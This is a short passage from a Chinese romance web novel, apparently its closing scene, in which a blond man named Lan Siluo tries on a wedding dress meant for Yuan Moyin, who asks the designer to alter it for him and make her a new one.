那人一头金色的顺滑披肩发,灯光下隐隐闪烁着七彩的光芒。蓝色的双眼如图两汪澄澈的湖泊,眉心一点美人痣,让他看起来俊俏中带着一丝可爱。 婚纱长裙的拉链卡在腰间,与元墨洇有明显差距的肩背因为塞不进抹胸里而一整片露在外面,上面布满了各种形状的伤疤。一双长腿恰好支撑起了原本拖地的裙摆,层层叠叠的纱在他身侧荡漾开来,如图一枝白玫瑰里包裹着金色的花蕊。 兰司珞对着镜子满意地左看右看,终于瞧见了元墨洇,提着裙摆三步并作两步向她跑来,在她面前转了一个完美的圈。 裙摆如一波波海浪在眼前展开,原设计师看到这一幕估计会幸福得晕倒过去。 兰司珞期待地看着元墨洇,眼神亮得吓人:“怎么样,好不好看?” 元墨洇伸手扯出被压进兰司珞胸口的丝带,面不改色地回答他:“好看。” 在一旁的齐虹目光惊恐:“……” 元墨洇又欣赏了一会儿兰司珞得意的动作,转头看向齐虹:“这条裙子按照他的要求改给他,另外以我的要求重新设计一件。” 齐虹神情恍惚:“好、好的……兰司珞先生,这、这边请……” —正文完—